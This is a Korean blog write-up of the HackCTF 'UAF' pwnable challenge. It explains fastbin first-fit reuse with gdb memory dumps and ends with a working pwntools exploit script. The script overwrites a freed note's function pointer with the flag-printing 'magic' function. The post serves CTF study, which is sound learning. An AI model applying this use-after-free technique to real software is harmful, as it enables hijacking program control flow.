-
[Pwnable] UAFWargame/HackCTF 2020. 1. 5. 13:18
들어가며
이 문제는
heap exploitation
을 공부하고 처음으로 다룬 문제이다.역시 문제를 풀어보는 것이 공부에 도움이 되는 것 같다.
malloc에서
first-fit
알고리즘을 이용한 공격기법인UAF(User After Free)
로 문제를 풀 수 있다.
first-fit 이란?
first-fit
알고리즘은 malloc함수에서재할당
시에 행하는 알고리즘이다.해제된 Chunk가
fastbinsY
에서 관리될 경우 해제된 Heap의 크기와 동일하게 할당하는 알고리즘이다.예시를 들어 설명하면 다음과 같다.
a = malloc(8) -> free(a) 하게 되면,
fastbinsY[0]
에는a의 주소
가 들어가게 된다.이때, b = malloc(8) 을 하면
b의 주소
는 이전에 할당받은a의 주소
와 같다.
탐색
문제에서
<add_note>
중, malloc이 일어나는 곳은 총 2곳이다.gdb-peda$ pd add_note Dump of assembler code for function add_note: ... 0x080486c8 <+82>: push 0x8 0x080486ca <+84>: call 0x80484e0 <malloc@plt> 0x080486cf <+89>: add esp,0x10 0x080486d2 <+92>: mov edx,eax 0x080486d4 <+94>: mov eax,DWORD PTR [ebp-0x1c] 0x080486d7 <+97>: mov DWORD PTR [eax*4+0x804b070],edx 0x080486de <+104>: mov eax,DWORD PTR [ebp-0x1c] 0x080486e1 <+107>: mov eax,DWORD PTR [eax*4+0x804b070] ... 0x08048706 <+144>: mov eax,DWORD PTR [ebp-0x1c] 0x08048709 <+147>: mov eax,DWORD PTR [eax*4+0x804b070] 0x08048710 <+154>: mov DWORD PTR [eax],0x804865b ... End of assembler dump. gdb-peda$ x/wx 0x804b070 0x804b070 <notelist>: 0x08fdc008 gdb-peda$ x/16wx 0x08fdc000 0x8fdc000: 0x00000000 0x00000011 0x0804865b 0x08fdc018 0x8fdc010: 0x00000000 0x00000011 0x41414141 0x0000000a 0x8fdc020: 0x00000000 0x00020fe1 0x00000000 0x00000000 0x8fdc030: 0x00000000 0x00000000 0x00000000 gdb-peda$ x/i 0x804865b 0x804865b <print_note_content>: push ebp
첫번째 malloc 구간에서는 malloc(8)을 하며,
<print_note_content>
함수 주소를¬elist
에 넣는다.ebp+0x1c
는notelist_index
이다.두번째 malloc 구간에서는 malloc(input) 한다. 이때, input은 사용자가 입력한 값이다.
¬elist
는 첫번째 malloc 구간의 Data를 저장한다. -> 이게 제일 중요!
문제를 풀기 위해선, 출제자가
풀 수 있게끔 만들어 놓은 함수
를 자세히 봐야한다.이 문제에선
<print_note>
함수를 주의깊게 봐야한다.gdb-peda$ pd print_note Dump of assembler code for function add_note: ... 0x08048953 <+126>: mov eax,DWORD PTR [ebp-0x14] 0x08048956 <+129>: mov eax,DWORD PTR [eax*4+0x804b070] 0x0804895d <+136>: mov eax,DWORD PTR [eax] 0x0804895f <+138>: mov edx,DWORD PTR [ebp-0x14] 0x08048962 <+141>: mov edx,DWORD PTR [edx*4+0x804b070] 0x08048969 <+148>: sub esp,0xc 0x0804896c <+151>: push edx 0x0804896d <+152>: call eax ... End of assembler dump. gdb-peda$ i r eax eax 0x0 0x0 gdb-peda$ x/wx $eax*4+0x804b070 0x804b070 <notelist>: 0x08fdc008 gdb-peda$ x/wx 0x08fdc008 0x8fdc008: 0x0804865b
¬elist
에서 사용자 에게 받은 index를 더한 후, 그 값의 주소를 호출한다.정리하면,
1.
<add_note>
는 8bytes와 사용자 지정 크기로 malloc 함수를 호출하여 할당한다.이때,
¬elist
는 첫번째 malloc 구간의Data
를 저장한다.2. 8bytes를 할당받은 곳의 Data영역에는
print_note_content
함수주소가 담겨있다.3.
<print_note>
함수에서<add_note>
에서 등록할때의¬elist
에 저장된 주소를 호출한다.3번에서 나는
<add_note>
와<del_note>
를 잘 이용하면¬elist
에 저장된 주소를 덮을 수 있지 않을까 생각했다.덮을 주소는
<magic>
이라는 함수로, system("/bin/cat flag");를 실행해주는 함수이다.
풀이
1. 8크기의 note를 2개 추가한다.
# Stage 1 # 0x8fdc000: 0x00000000 0x00000011 0x0804865b 0x08fdc018 # 0x8fdc010: 0x00000000 0x00000011 0x41414141 0x00000000 # 0x8fdc020: 0x00000000 0x00000011 0x0804865b 0x08fdc038 # 0x8fdc030: 0x00000000 0x00000011 0x42424242 0x00000000 # notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028 add_note(8, 'A'*4) add_note(8, 'B'*4)
2. 이후 2개의 note를 삭제한다.
# Stage 2 # 0x8fdc000: 0x00000000 0x00000011 0x08fdc010 0x08fdc018 # 0x8fdc010: 0x00000000 0x00000011 0x08fdc020 0x00000000 # 0x8fdc020: 0x00000000 0x00000011 0x08fdc030 0x08fdc038 # 0x8fdc030: 0x00000000 0x00000011 0x00000000 0x00000000 # notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028 # fastbinsY = {0x08fdc000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} del_note(1) del_note(0)
이때,
fastbinsY
는 다음과 같이 바뀐다.1. del_note(1) fastbinY {0x08fdc020 -> 0x08fdc030} 2. del_note(0) fastbinY {0x08fdc000 -> 0x08fdc010 -> 0x08fdc020 -> 0x08fdc030}
3. 크기가 다른(16bytes) note를 1개 추가한다.
# Stage 3 # 0x8fdc000: 0x00000000 0x00000011 0x0804865b 0x08fdc048 # 0x8fdc010: 0x00000000 0x00000011 0x08fdc020 0x00000000 # 0x8fdc020: 0x00000000 0x00000011 0x08fdc030 0x08fdc038 # 0x8fdc030: 0x00000000 0x00000011 0x00000000 0x00000000 # 0x8fdc040: 0x00000000 0x00000019 0x43434343 0x43434343 # 0x8fdc050: 0x43434343 0x43434343 0x00000000 0x00020fa9 -> top chunk # notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028, # notelist[2] = 0x8fdc008 # fastbinsY = {0x08fdc010, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} add_note(16, 'C'*16)
이때, 첫번째 할당에서 malloc(8)은
first-fit
알고리즘을 통해서 0x8fdc000을 할당받는다.fastbinsY
는 다음과 같이 바뀐다.fastbinY
에서 가장 최근에 free된 8bytes의 chunck를 malloc 재할당에 사용하였다.3. add_note(16) fastbinY {0x08fdc010 -> 0x08fdc020 -> 0x08fdc030}
4. 8bytes의 크기의 note를 추가한다. 이때, text는 magic의 주소로 준다.
# Stage 4 # 0x8fdc000: 0x00000000 0x00000011 0x0804865b 0x08fdc048 # 0x8fdc010: 0x00000000 0x00000011 0x0804865b 0x08fdc028 # 0x8fdc020: 0x00000000 0x00000011 0x08048986 0x08fdc038 # 0x8fdc030: 0x00000000 0x00000011 0x00000000 0x00000000 # 0x8fdc040: 0x00000000 0x00000019 0x43434343 0x43434343 # 0x8fdc050: 0x43434343 0x43434343 0x00000000 0x00020fa9 -> top chunk # notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028 # notelist[2] = 0x8fdc008, notelist[3] = 0x8fdc018 # fastbinsY = {0x08fdc030, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} add_note(8, p32(magic))
이때, 첫번째 할당에서 malloc(8)은
first-fit
알고리즘을 통해서 0x8fdc010을 할당받는다.또한 두번째 할당에서도 마찬가지로 malloc(8)이므로, 0x8fdc020을 할당받는다.
fastbinsY
는 다음과 같이 바뀐다.4. add_note(8) fastbinY {0x08fdc020 -> 0x08fdc030} fastbinY {0x08fdc030}
5. notelist에서 1번째 index를 <print_note>의 param으로 넣어준다.
gdb-peda$ pd print_note Dump of assembler code for function add_note: ... 0x08048953 <+126>: mov eax,DWORD PTR [ebp-0x14] 0x08048956 <+129>: mov eax,DWORD PTR [eax*4+0x804b070] 0x0804895d <+136>: mov eax,DWORD PTR [eax] 0x0804895f <+138>: mov edx,DWORD PTR [ebp-0x14] 0x08048962 <+141>: mov edx,DWORD PTR [edx*4+0x804b070] 0x08048969 <+148>: sub esp,0xc 0x0804896c <+151>: push edx 0x0804896d <+152>: call eax ... End of assembler dump. gdb-peda$ i r eax eax 0x1 0x1 gdb-peda$ x/wx $eax*4+0x804b070 0x804b074 <notelist+4>: 0x08fdc028 gdb-peda$ x/wx 0x08fdc028 0x8fdc028: 0x08048986 gdb-peda$ x/4wx 0x08fdc020 0x8fdc020: 0x00000000 0x00000011 0x08048986 0x08fdc038 gdb-peda$ x/i 0x08048986 0x8048986 <magic>: push ebp
exploit.py
from pwn import * def add_note(size, text): r.sendlineafter(' :', '1') r.sendlineafter(' :', str(size)) r.sendlineafter(' :', text) def del_note(index): r.sendlineafter(' :', '2') r.sendlineafter(' :', str(index)) def print_note(index): r.sendlineafter(' :', '3') r.sendlineafter(' :', str(index)) r = remote('ctf.j0n9hyun.xyz', 3020) magic = 0x08048986 add_note(8, 'A'*4) add_note(8, 'B'*4) del_note(1) del_note(0) add_note(16, 'C'*16) add_note(8, p32(magic)) print_note(1) r.recvuntil(':') print(r.recvuntil('\n'))
'Wargame > HackCTF' 카테고리의 다른 글
[Pwnable] babyfsb (0) 2020.01.10 [Pwnable] You are silver (0) 2020.01.08 [Pwnable] Look at me (0) 2020.01.01 [Pwnable] Random (0) 2020.01.01 [Pwnable] gpwn (0) 2019.12.29